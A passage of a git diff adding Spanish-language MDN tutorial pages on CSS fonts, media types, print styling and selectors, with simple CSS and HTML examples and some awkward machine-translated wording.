+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Si no quiere depender de los tipos de letra instalados en los sistemas de los usuarios, puede usar </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(244, 244, 244);" title=""><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">@ font-face</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> para especificar una fuente en línea. </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Sin embargo, esto requiere que los usuarios tengan un navegador que soporte esta regla.</span></font></font></p>
+</div>
+
+<h2 id="Acción_Especificaciónes_de_las_fuentes"><span id="result_box" lang="es"><span>Acción:</span> <span class="hps">Especificaciónes de</span> <span class="hps">las fuentes</span></span></h2>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Para un simple documento, puede establecer la fuente del </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/body" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title="El HTML &lt;body> representa el contenido de un documento HTML.  Sólo hay un elemento &lt;body> en un documento."><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">elemento  </span></font></font><code style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">&lt;body&gt;</span></font></font></code></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> y el resto del documento hereda la configuración.</span></font></font></p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Edite su archivo</span> <span class="hps">CSS</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps alt-edited">Agregue</span> <span class="hps">la siguiente regla</span> <span class="hps">para cambiar</span> <span class="hps">el tipo de letra</span> <span class="hps">en todo el documento</span><span>.</span> <span class="hps">La</span> <span class="hps">parte superior del archivo</span> <span class="hps">CSS</span> <span class="hps">es</span> <span class="hps alt-edited">el lugar lógico</span> <span class="hps alt-edited">para esto</span><span>, pero no tiene</span> <span class="hps alt-edited">los mismos efectos</span> <span class="hps">donde</span> <span class="hps alt-edited">usted lo ponga</span><span>:</span></span>
+  <pre class="eval  language-html"><code class="language-html">body {font: 16px "Comic Sans MS", cursive;}</code></pre>
+
+  <div class="line-number" style="top: 0px;"> </div>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps alt-edited">Añada</span> <span class="hps">un comentario</span> <span class="hps alt-edited">que explique</span> <span class="hps">la regla, y</span> <span class="hps alt-edited">agregue un espacio en blanco</span> <span class="hps alt-edited">para que coincida con</span> <span class="hps">su diseño</span> <span class="hps">preferido</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Guarde el archivo y</span> <span class="hps alt-edited">actualice el explorador</span> <span class="hps">para ver el efecto</span><span>.</span> <span class="hps">Si su sistema tiene</span> <span class="hps">Comic</span> <span class="hps">Sans</span> <span class="hps">MS</span><span>,</span> <span class="hps">u otra</span> <span class="hps">fuente cursiva</span> <span class="hps">que no</span> <span class="hps">soporta </span></span>italic<span lang="es"><span class="hps">,</span> <span class="hps">su navegador</span> eligira <span class="hps">un</span> <span class="hps">tipo de letra</span> <span class="hps">diferente para </span></span><span lang="es"><span class="hps alt-edited">la</span> <span class="hps alt-edited">primera línea</span></span><span lang="es"><span class="hps"> del</span> <span class="hps">texto en </span></span>italic<span lang="es"><span class="hps alt-edited">:</span></span>
+  <table style="border: 2px outset #36b; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Desde la barra de menú de su navegador, elija </span></font></font><strong style="margin: 0px; padding: 0px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ver&gt; Tamaño del texto&gt; Aumentar</span></font></font></strong><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> (o </span></font></font><strong style="margin: 0px; padding: 0px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ver&gt; Zoom&gt; Acercar</span></font></font></strong><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> ). </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">A pesar de que ha especificado 16 píxeles en el estilo, un usuario leer el documento se puede cambiar este tamaño.</span></font></font></li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">Desafío</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Sin modificar nada más</span><span>,</span> <span class="hps">hacer</span> <span class="hps">las seis</span> <span class="hps">letras iniciales</span> <span class="hps">dos veces el tamaño</span> <span class="hps">de</span> <span class="hps">letra serif</span> <span class="hps">por defecto del navegador</span><span>:</span></span></p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: green; font: 200% serif;">S</strong>tyle <strong style="color: green; font: 200% serif;">S</strong>heets</td>
+  </tr>
+  <tr>
+   <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: red; font: 200% serif;">S</strong>tyle <strong style="color: red; font: 200% serif;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Add the following style declaration to the <code>strong</code> rule:</p>
+
+<pre class="brush: css">  font: 200% serif;
+</pre>
+If you use separate declarations for <code>font-size</code> and <code>font-family</code>, then the <code>font-style</code> setting on the first paragraph is <em>not</em> overridden.
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles#tutochallenge" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-size: 12px; text-align: right; display: block; font-family: 'Open Sans', sans-serif; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal;" title="Mostrar una posible solución para el desafío"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ver una solución para el desafío.</span></font></font></a></div>
+
+<h2 id="¿Y_ahora_qué"><span id="result_box" lang="es"><span class="hps">¿Y ahora qué</span><span>?</span></span></h2>
+
+<p><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">El documento muestra ya utiliza varios colores con nombre. </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">La </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Color" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title="/ En-US / docs / Web / guía / CSS / Getting_Started / Color"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">siguiente sección</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> enumera los nombres de los colores estándar y se explica cómo se puede especificar otros </span></font></font><strong style="margin: 0px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">.</span></font></font></strong></p>
+
+<p> </p>
diff --git a/files/es/web/css/introducción/media/index.html b/files/es/web/css/introducción/media/index.html
new file mode 100644
index 0000000000..bb7bb0bd23
--- /dev/null
+++ b/files/es/web/css/introducción/media/index.html
@@ -0,0 +1,394 @@
+---
+title: Media
+slug: Web/CSS/Introducción/Media
+translation_of: Web/Progressive_web_apps/Responsive/Media_types
+---
+<p>{{CSSTutorialTOC}} {{previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Tables", "Tables")}}</p>
+
+<p>Esta es la ultima sección de la primera parte del tutorial de <a href="/es/docs/Web/CSS/Introducción" title="es/docs/Web/CSS/Introducción">Introducción a CSS</a>. Muchas páginas de este tutorial se han enfocado en las propiedades y valores de CSS que especifican como mostrar un documento. Esta sección indaga otra vez en el propósito y la estructura de las hojas de estilo.</p>
+
+<h2 class="clearLeft" id="Información_Media">Información: Media</h2>
+
+<p>El propósito de CSS es especificar cómo los documentos son presentados al usuario. La presentación puede tener más de una forma.</p>
+
+<p>Por ejemplo, probablemente estes leyendo esta página en algún aparato doméstico (un celular, tu pc). Pero también podrías querer proyectarlo para una audiencia mas grande o imprimirlo. Estos medios pueden tener diferentes características. CSS te provee diferentes maneras de presentar un documento en distintos medios.</p>
+
+<p>Para especificar reglas para un medio en particular, usa {{CSSXref("@media")}} seguido por el tipo de medio, seguido por llaves que encierren las reglas.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p>Un documento en un web site tiene una barra de navegación que permite a los usuarios moverse en el sitio.</p>
+
+<p>En el lenguaje de marcado, el elemento padre de esta área tiene el <strong>id</strong> <code>nav-area</code>. (En {{HTMLVersionInline(5)}}, esto puede ser marcado con el elemento {{HTMLElement("nav")}} en vez de un {{HTMLElement("div")}} con un atributo <strong>id</strong>.)</p>
+
+<p>Cuando vas a imprimir el documento esa área de navegación no tiene ningún propósito, entonces con las hojas de estilo puedes removerlo completamente:</p>
+
+<pre class="brush:css">@media print {
+  #nav-area {display: none;}
+  }
+</pre>
+</div>
+
+<p>Algunos de los tipos de medios comunes son:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>screen</code></td>
+   <td>Pantalla de computadora</td>
+  </tr>
+  <tr>
+   <td><code>print</code></td>
+   <td>Medio paginado</td>
+  </tr>
+  <tr>
+   <td style="padding-right: 1em;"><code>projection</code></td>
+   <td>Pantalla proyectada</td>
+  </tr>
+  <tr>
+   <td><code>all</code></td>
+   <td>Todos (por defecto)</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details">
+<div class="tuto_type">Mas detalles</div>
+
+<p>Existen otras maneras de especificar un conjunto de reglas para los distintos medios.</p>
+
+<p>El lenguaje de marcado del documento puede permitir que el tipo de medio sea determinado cuando la hoja de estilo esta enlazada al documento. Por ejemplo, en HTML puedes especificar el tipo de medio con un atributo <code>media</code> en la etiqueta LINK.</p>
+
+<p>En CSS puedes usar {{CSSXref("@import")}} al inicio de la hoja de estilo para importar otra hoja de estilo de una URL, opcionalmente especificando el tipo de medio.</p>
+
+<p>Al usar estas técnicas puedes separar las reglas de estilo para los diferentes medios en distintos archivos. Esta es una manera útil de estructurar tus hojas de estilo.</p>
+
+<p>Para más detalles de los tipos de medio, ve <a href="http://www.w3.org/TR/CSS21/media.html">Media</a> en la especificación de CSS.</p>
+
+<p>Existen mas ejemplos de la propiedad {{cssxref("display")}} en una página posterior de este tutorial: <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/XML_data" title="en-US/docs/Web/Guide/CSS/Getting_Started/XML_data">XML data</a>.</p>
+</div>
+
+<h3 id="Imprimir">Imprimir</h3>
+
+<p>CSS tiene algún soporte especifico para impresión y para medios páginados en general.</p>
+
+<p>Una regla {{cssxref("@page")}} puede determinar los márgenes de la página. Para impresión de doble cara, puedes definir los márgenes separadamente para <code>@page:left</code> y <code>@page:right</code>.</p>
+
+<p>Para medios impresios, normalmente usas unidades apropiadas de lonfigutd como pulgadas (<code>in</code>) y puntos (<code>pt</code> = 1/72 inch), o centimetros (<code>cm</code>) y milimetros (<code>mm</code>). Es igualmente apropiado usar ems (<code>em</code>) para conincidir el tamaño de la fuente, y porcentajes (<code>%</code>).</p>
+
+<p>Tu puedes controlar como los saltos de línea del contenido de un documento, al usar las propiedades {{cssxref("page-break-before")}}, {{cssxref("page-break-after")}} y{{cssxref("page-break-inside")}}.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p>Esta regla determina los márgenes a una pulgada en todos los lados:</p>
+
+<pre class="brush:css">@page {margin: 1in;}
+</pre>
+
+<p>Esta regla asegura que cada elemento H1 empiece en una nueva página:</p>
+
+<pre class="brush:css">h1 {page-break-before: always;}
+</pre>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">Más detalles</div>
+
+<p>Para más detalles del soporte de CSS para medios paginados, ver <a href="http://www.w3.org/TR/CSS21/page.html">Paged media</a> en la especificación de CSS.</p>
+
+<p>Como otras características de CSS, imprimir depende de tu navegador y su configuración. Por ejemplo, Mozilla te suple con unos márgenes por defecto, cabeceras y pies de página cuando imprimes. Cuando otros usuarios imprimen tu documento, probablemente no puedas predecir el navegador y la configuración usada, por lo que no podrás controlar los resutlados completamente.</p>
+</div>
+
+<h3 id="Interfaces_de_Usuario">Interfaces de Usuario</h3>
+
+<p>CSS tiene algunas propiedades especificas para aparatos que soportanuna interfaz de usuario, como monitores. Esto hace que la apariencia del documento cambie dinámicamente mientras el usuario trabaja con la interfaz.</p>
+
+<p>No existe un tipo especial de medio para aparatos con interfaz de usuario.</p>
+
+<p>Si existen cinco selectores especiales:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Selector</strong></td>
+   <td><strong>Selects</strong></td>
+  </tr>
+  <tr>
+   <td><code>E{{cssxref(":hover")}}</code></td>
+   <td>Cualquier elemento E que tenga el puntero sobre él</td>
+  </tr>
+  <tr>
+   <td><code>E{{cssxref(":focus")}}</code></td>
+   <td>Cualquier elemento E que tenga el foco del teclado</td>
+  </tr>
+  <tr>
+   <td><code>E{{cssxref(":active")}}</code></td>
+   <td>Cualquier elemento E que este envuelto en la acción actual del usuario</td>
+  </tr>
+  <tr>
+   <td><code>E{{cssxref(":link")}}</code></td>
+   <td>Cualquier elemento E que es un hipervinculo a una URL no visitada por el usuario</td>
+  </tr>
+  <tr>
+   <td><code>E{{cssxref(":visited")}}</code></td>
+   <td>Cualquier elemento E que es un hipervinculo a una URL que el usuario ya visito</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota: </strong>La información que puede ser obtenida con el selector :visited esta restringida en {{gecko("2.0")}}. Ver <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and_the_:visited_selector" title="en-US/docs/Web/Guide/CSS/Privacy and the :visited selector">Privacy and the :visited selector</a> para más detalles.</p>
+</div>
+
+<p>La propiedad {{cssxref("cursor")}} especifica la forma del puntero: Algunas de las formas comunes son las siguientes.</p>
+
+<p>Coloca el mouse sobre los items en este lista para ver la forma actual del puntero en tu navegador:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Selector</strong></td>
+   <td><strong>Selects</strong></td>
+  </tr>
+  <tr style="cursor: pointer;">
+   <td><code>pointer</code></td>
+   <td>Indicating a link</td>
+  </tr>
+  <tr style="cursor: wait;">
+   <td><code>wait</code></td>
+   <td>Indicating that the program cannot accept input</td>
+  </tr>
+  <tr style="cursor: progress;">
+   <td><code>progress</code></td>
+   <td>Indicating that the program is working, but can still accept input</td>
+  </tr>
+  <tr style="cursor: default;">
+   <td><code>default</code></td>
+   <td>The default (usually an arrow)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Una propiedad {{cssxref("outline")}} crea un contorno que a menudo es usado para indicar el foco del teclado. Sus valores son similares a la propiedad {{cssxref("border")}}, excepto que no puedes especificar lados individuales.</p>
+
+<p>Otras características de las interfaces de usuario son implementadas usando atributos. Por ejemplo, un elemento que esta deshabilitado o es de solo lectura tiene el atributo <strong>disabled</strong> o el atributo <strong>readonly</strong>. Selectores puede especificar estos atributos como cualquier otro, usando corchetes: <code>{{mediawiki.external('disabled')}}</code> o <code>{{mediawiki.external('readonly')}}</code>.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p>Estas reglas especifican estilos para un boton que cambia dinámicamente cuando el usuario interactúa con el:</p>
+
+<pre class="brush:css">.green-button {
+  background-color:#cec;
+  color:#black;
+  border:2px outset #cec;
+  }
+
+.green-button[disabled] {
+  background-color:#cdc;
+  color:#777;
+  }
+
+.green-button:active {
+  border-style: inset;
+  }
+</pre>
+
+<p>Esta wiki no soporta una interfaz de usuario en la página, entonces estos botones no hacen "click". A continuación se presentan una imágenes estáticas para ilustrar la idea:</p>
+
+<table style="background-color: #fff; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <table>
+     <tbody>
+      <tr>
+       <td><span style="background-color: #cdc; border: 2px outset #cec; color: #777; cursor: default; height: 2em; margin-right: 1em; padding: .5em 1em; width: 8em;">Click Me</span></td>
+       <td><span style="background-color: #cec; border: 2px outset #cec; cursor: move; height: 2em; margin-right: 1em; padding: .5em 1em; width: 8em;">Click Me</span></td>
+       <td><span style="background-color: #cec; border: 2px inset #cec; cursor: move; height: 2em; margin-right: 1em; padding: .5em 1em; width: 8em;">Click Me</span></td>
+      </tr>
+      <tr style="line-height: 25%;">
+       <td> </td>
+      </tr>
+      <tr style="font-style: italic;">
+       <td>disabled</td>
+       <td>normal</td>
+       <td>active</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Un botón completamente funcional también tiene un contorno oscuro alrededor cuando esta por defecto, y un contorno punteado en él cuando tiene el foco del teclado. También podría un efecto flotante (hover) cuando el puntero este sobre el.</p>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">Más detalles</div>
+
+<p>Para más información sobre interfaces de usuario en CSS, ver <a href="http://www.w3.org/TR/CSS21/ui.html">User interface</a> en la especificación de CSS.</p>
+
+<p>Existe un ejemplo del lenguaje de marcado usado por Mozilla para interfaces de usuario, XUL, en la Parte II de este tutorial.</p>
+</div>
+
+<h2 id="Acción_Imprimir_un_documento">Acción: Imprimir un documento</h2>
+
+<ol>
+ <li>Abrir un nuevo documento HTML, <code>doc4.html</code>. Copiar y pegar el contenido de aqui:
+
+  <pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Print sample&lt;/title&gt;
+    &lt;link rel="stylesheet" href="style4.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt;Section A&lt;/h1&gt;
+    &lt;p&gt;This is the first section...&lt;/p&gt;
+    &lt;h1&gt;Section B&lt;/h1&gt;
+    &lt;p&gt;This is the second section...&lt;/p&gt;
+    &lt;div id="print-head"&gt;
+      Heading for paged media
+    &lt;/div&gt;
+    &lt;div id="print-foot"&gt;
+      Page:
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+ </li>
+ <li>Abrir una nueva hoja de estilo, <code>style4.css</code>. Copiar y pegar el contenido de aqui:
+  <pre class="brush:css">/*** Print sample ***/
+
+/* defaults  for screen */
+#print-head,
+#print-foot {
+  display: none;
+  }
+
+/* print only */
+@media print {
+
+h1 {
+  page-break-before: always;
+  padding-top: 2em;
+  }
+
+h1:first-child {
+  page-break-before: avoid;
+  counter-reset: page;
+  }
+
+#print-head {
+  display: block;
+  position: fixed;
+  top: 0pt;
+  left:0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  text-align: center;
+  }
+
+#print-foot {
+  display: block;
+  position: fixed;
+  bottom: 0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  }
+
+#print-foot:after {
+  content: counter(page);
+  counter-increment: page;
+  }
+
+} /* end print only */
+</pre>
+ </li>
+ <li>Ve este documento en tu navegador; este usa el estilo por defecto de tu navegador.</li>
+ <li>Imprime (o previsualiza) el documento; la hoja de estilo coloca cada sección en una página separada, y agrega una cabecera y un pie de página por cada una. Si tu navegador soporta contadores, le agregará un número de página al pie.
+  <table>
+   <tbody>
+    <tr>
+     <td>
+      <table style="border: 2px outset #36b; padding: 1em;">
+       <tbody>
+        <tr>
+         <td>
+          <table style="margin-right: 2em; width: 15em;">
+           <tbody>
+            <tr>
+             <td>
+              <div style="font-size: 110%; text-align: center; margin-bottom: .5em;">Heading for paged media</div>
+
+              <div style="font-size: 150%; font-weight: bold;">Section A</div>
+
+              <div style="font-size: 75%;">This is the first section...</div>
+
+              <div style="font-size: 150%; text-align: right; margin-top: 12em;">Page: 1</div>
+             </td>
+            </tr>
+           </tbody>
+          </table>
+         </td>
+        </tr>
+       </tbody>
+      </table>
+     </td>
+     <td>
+      <table style="border: 2px outset #36b; padding: 1em;">
+       <tbody>
+        <tr>
+         <td>
+          <table style="margin-right: 2em; width: 15em;">
+           <tbody>
+            <tr>
+             <td>
+              <div style="font-size: 110%; text-align: center; margin-bottom: .5em;">Heading for paged media</div>
+
+              <div style="font-size: 150%; font-weight: bold;">Section B</div>
+
+              <div style="font-size: 75%;">This is the second section...</div>
+
+              <div style="font-size: 150%; text-align: right; margin-top: 12em;">Page: 2</div>
+             </td>
+            </tr>
+           </tbody>
+          </table>
+         </td>
+        </tr>
+       </tbody>
+      </table>
+     </td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ol>
+
+<table style="background-color: #fffff4; border: 1px solid #36b; padding: 1em; width: 100%;">
+ <caption>Retos</caption>
+ <tbody>
+  <tr>
+   <td>Mueve las relgas de estilo especificas para imprimir a un archivo CSS separado.
+    <p>Lee la página de referencia {{CSSXref("@import")}} para buscar detalles de como importar el nuevo archivo CSS especifico para imrpimir dentro de tu hoja de estilo style4.css.</p>
+
+    <p>Haz que las encabezamientos se vuelvan azules cuando el puntero del mouse este sobre ellos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Challenge_solutions#Media" title="en-US/docs/Web/Guide/CSS/Getting_started/Challenge_solutions#Media">Ver soluciones a estos retos.</a></p>
+
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+
+<p>Si has tenido dificultades entendiendo esta página, o si tienes algún comentario, por favor contribuye en la página de <a href="/Talk:en-US/docs/Web/Guide/CSS/Getting_Started/Media" title="Talk:en-US/docs/Web/Guide/CSS/Getting_Started/Media">Discussion</a>.</p>
+
+<p>Hasta aquí, todas las reglas de estilo en este tutorial han estado en archivos especificos. Las reglas y sus valores son fijos. La siguiente página describe como cambiar las reglas dinámicamente al usar un lenguaje de programación: <strong><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/JavaScript" title="en-US/docs/Web/Guide/CSS/Getting_Started/JavaScript">JavaScript</a></strong></p>
diff --git a/files/es/web/css/introducción/selectors/index.html b/files/es/web/css/introducción/selectors/index.html
new file mode 100644
index 0000000000..5d63b82547
--- /dev/null
+++ b/files/es/web/css/introducción/selectors/index.html
@@ -0,0 +1,415 @@
+---
+title: Selectores
+slug: Web/CSS/Introducción/Selectors
+translation_of: Learn/CSS/Building_blocks/Selectors
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance", "Cascading &amp; inheritance")}}<span id="result_box" lang="es"><span class="hps">Esta</span> <span class="hps">es</span> <span class="hps">la sección</span> <span class="hps">quinta</span> <span class="hps">del</span> </span><span id="result_box" lang="es"><span class="hps">tutoria</span></span><span class="seoSummary"><a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Getting Started</a> ;</span><span id="result_box" lang="es"><span class="hps">En él se explica</span> <span class="hps">cómo se puede aplicar</span> <span class="hps">estilos</span> <span class="hps">de forma selectiva</span><span>,</span> <span class="hps">y cómo</span> <span class="hps">los diferentes tipos de</span> <span class="hps">selectores</span> <span class="hps">tener diferentes</span> <span class="hps">prioridades.</span> <span class="hps">Agregar algunos</span> <span class="hps">atributos a</span> <span class="hps">las</span> <span class="hps">etiquetas</span> <span class="hps">en su</span> <span class="hps">documento de muestra</span><span>,</span> <span class="hps">y</span> <span class="hps">utiliza estos</span> <span class="hps">atributos en</span> <span class="hps">su hoja de estilos</span> <span class="hps">de muestra.</span></span></p>
+
+<h2 class="clearLeft" id="Información_Selectores"><span id="result_box" lang="es"><span class="hps">Información:</span> <span class="hps">Selectores</span></span></h2>
+
+<p><br>
+ <span id="result_box" lang="es"><span class="hps">CSS</span> <span class="hps">tiene su propia terminología</span> <span class="hps">para describir el</span> <span class="hps">lenguaje CSS</span><span>.</span> <span class="hps">Anteriormente</span> <span class="hps">en este tutorial,</span> <span class="hps">que ha creado</span> <span class="hps">una línea en</span> <span class="hps">su hoja de estilos</span> <span class="hps alt-edited">como esta:</span></span></p>
+
+<pre class="brush: css">strong {
+  color: red;
+}
+</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">En la terminología de</span> <span class="hps">CSS</span><span>,</span> <span class="hps">toda</span> <span class="hps">esta línea</span> <span class="hps">es una </span></span><em><code><strong>rule </strong></code>(</em><span id="result_box" lang="es"><span class="hps">regla).</span> <span class="hps">Esta regla</span> <span class="hps">comienza con</span> </span><strong><em><code>strong</code></em></strong><span lang="es"><span>, que es un</span> <span class="hps">selector.</span> <span class="hps alt-edited">Permite seleccionar</span> <span class="hps">qué elementos</span> <span class="hps">en el DOM</span> <span class="hps">se aplica la regla</span><span>.</span></span></p>
+
+<div class="tuto_details">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="hps alt-edited">Más</span> <span class="hps">detalles</span></span></div>
+
+<p><span id="result_box" lang="es"><span class="hps">La parte</span> <span class="hps">interior de las</span> <span class="hps">llaves</span> <span class="hps">es la declaración</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps"> L</span><span class="hps alt-edited">a palabra clave es </span></span><span id="result_box" lang="es"><code><em><span class="hps">color</span></em></code>, que </span><span id="result_box" lang="es"><span class="hps alt-edited">es</span> <span class="hps">una propiedad,</span> <span class="hps">y el <code><em>rojo </em></code>es</span> <span class="hps">el valor.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">El punto y coma</span> <span class="hps">después de el</span> <span class="hps">par</span> <span class="hps">propiedad</span><span class="atn">-</span><span>valor</span> <span class="hps">separa los posibles </span><span class="hps">otros pares de </span> <span class="hps">propiedad</span><span>-valor en</span> una <span class="hps">misma declaración.</span></span></p>
+
+<p> <span id="result_box" lang="es"><span class="hps">Este tutorial</span> <span class="hps">se refiere a</span> <span class="hps">un selector</span> <span class="hps">como</span> </span><em><strong><code>strong</code> </strong></em><span lang="es"><span class="hps">como un</span> <span class="hps">selector de etiquetas</span><span>.</span> <span class="hps">La</span> <span class="hps">especificación</span> <span class="hps">CSS</span> <span class="hps">se refiere a él como</span> <span class="hps">un selector de</span> <span class="hps">tipo <code><strong>(</strong></code></span></span><code><strong> type selector)</strong></code><span lang="es"><span>.</span></span></p>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps alt-edited">En esta página</span> <span class="hps">del tutorial</span> <span class="hps alt-edited">se explica</span> <span class="hps">más acerca de los</span> <span class="hps">selectores</span> <span class="hps">que se pueden utilizar</span> <span class="hps">en</span> <span class="hps">las reglas CSS</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Además de añadir </span></span><span id="result_box" lang="es"><span class="hps">nombres a las e</span></span><span id="result_box" lang="es"><span class="hps">tiquetas</span> <span>, puede usar </span><span class="hps alt-edited">valores en los atributos</span> de <span class="hps">los selectores</span><span>.</span> <span class="hps">Esto permite que sus</span> <span class="hps">reglas sean</span> <span class="hps">más específicas.</span></span></p>
+
